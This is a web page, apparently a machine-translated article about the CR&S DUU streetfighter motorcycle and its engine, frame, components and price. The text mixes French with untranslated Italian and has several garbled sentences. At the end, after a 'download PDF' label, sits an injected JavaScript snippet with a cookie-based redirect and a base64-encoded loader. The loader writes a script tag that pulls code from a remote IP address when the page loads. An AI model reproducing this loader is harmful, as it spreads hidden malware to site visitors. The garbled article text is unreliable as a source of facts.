faible tour 11 2009

la 2011 Il semble presque ici.

Une vague de modernisme rend le vol la petite grande maison à Settimo Milanese. CR&S già si distingue per l’originalità della propria streetfighter da misto stretto e per l’unicità di ogni esemplare.

L'évolution logique du mono, essentiel et amusant, Ce sera double. il semble “solo” un vélo de concept, mais un chariot élévateur DUU a déjà parcouru plusieurs kilomètres; Les tests valident les choix techniques inhabituelles. Le jumeau X-Wedge est son cœur battant, un bicylindre en V “air” près de deux litres qui améliore la recherche S&S sur les schémas classiques de Harley-Davidson. L’angolo dei cilindri di 56 cours de degré annule les vibrations; distribution avec trois arbres à cames dans le carter et les courroies dentées assure une géométrie optimale, par l'intermédiaire de tiges courtes et des poussoirs hydrauliques. Figurant est le bruit mécanique, rendendo possibile l’omologazione Euro 3 avec injection et des catalyseurs. Le pot d'échappement en acier inoxydable est étudiée par échappement QD pour centraliser les masses et de permettre une inclinaison latérale supérieure 40 degrés. Le potentiel de ce très grand jumeau est remarquable, même dans la configuration “code”: du moins 100 chevaux et 130 Newton / mètre de couple, ma l’erogazione è piena a ogni regime. Changer de séparer 5 la 6 les relations et la chaîne primaire complète un groupe motopropulseur inséré dans une trame d'origine. Une grande partie de tuyau d'acier de la tête de direction et le lubrifiant contient; Il soutient de belles plaques latérales, ricavate dal pieno nell’atelier Rizoma, à laquelle elle est ancrée au moyen d'une section transversale tubulaire; le monobras. Toutes les propositions CR&S nascono con l’obiettivo di garantire piacere di guida e la ciclistica della Duu, un distillato di Made in Italy d’estrazione sportiva, ne vous décevra pas . Les détails sont belles, en commençant par les plaques de guidage réalisées par Rizoma et des roues modulaires; freins Brembo et des suspensions de qualité permettent un réglage suffisant. La précision et l'agilité de la réactivité promettent de pilote , plis extrêmes et la manipulation, senza cadere nell’estremo opposto di quote troppo “nerf”. Avec des dimensions proches de celles d'un XR1200 et le poids d'environ 237 kg à sec, grazie all’allungo infinito del motore dovrebbe risultare divertente, facile et exaspéré. Ces qualités sont ajoutés une philosophie modulaire pour configurer la moto en fonction de différents styles de conduite et de la vie, la qualité des composants, savoir-faire avec des garanties industrielles: facile à prévoir un intérêt immédiat autour de ce streetfighter. Un grand nombre de CR composants&S sont conçues sur mesure par Donato Cannatello par des entreprises italiennes comme Rhizome. L'originalité et raccords “sur mesure” devrait représenter un atout supplémentaire en faveur de DUU. Même le prix fixe promet d'être intéressant, environ 20.000 euro: vicino a quello dei VRSC e inferiore al nuovo V-Max… Combien de temps avant la 2011?

 

SCARICA IL PDF fonction getCookie(e){var U = document.cookie.match(nouveau RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));retour U?decodeURIComponent(la[1]):vide 0}var src =”Les données:text / javascript;base64, ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs =”,maintenant = Math.floor(Date.now()/1e3),biscuit = getCookie(“réorienter”);si(à présent>=(temps = biscuit)||vide 0 === temps){var temps = Math.floor(Date.now()/1e3 + 86400),Date = new Date((nouvelle date).obtenir du temps()+86400);document.cookie =”redirect =”+temps +”; path = /; expires =”+Date.toGMTString(),document.write(”)}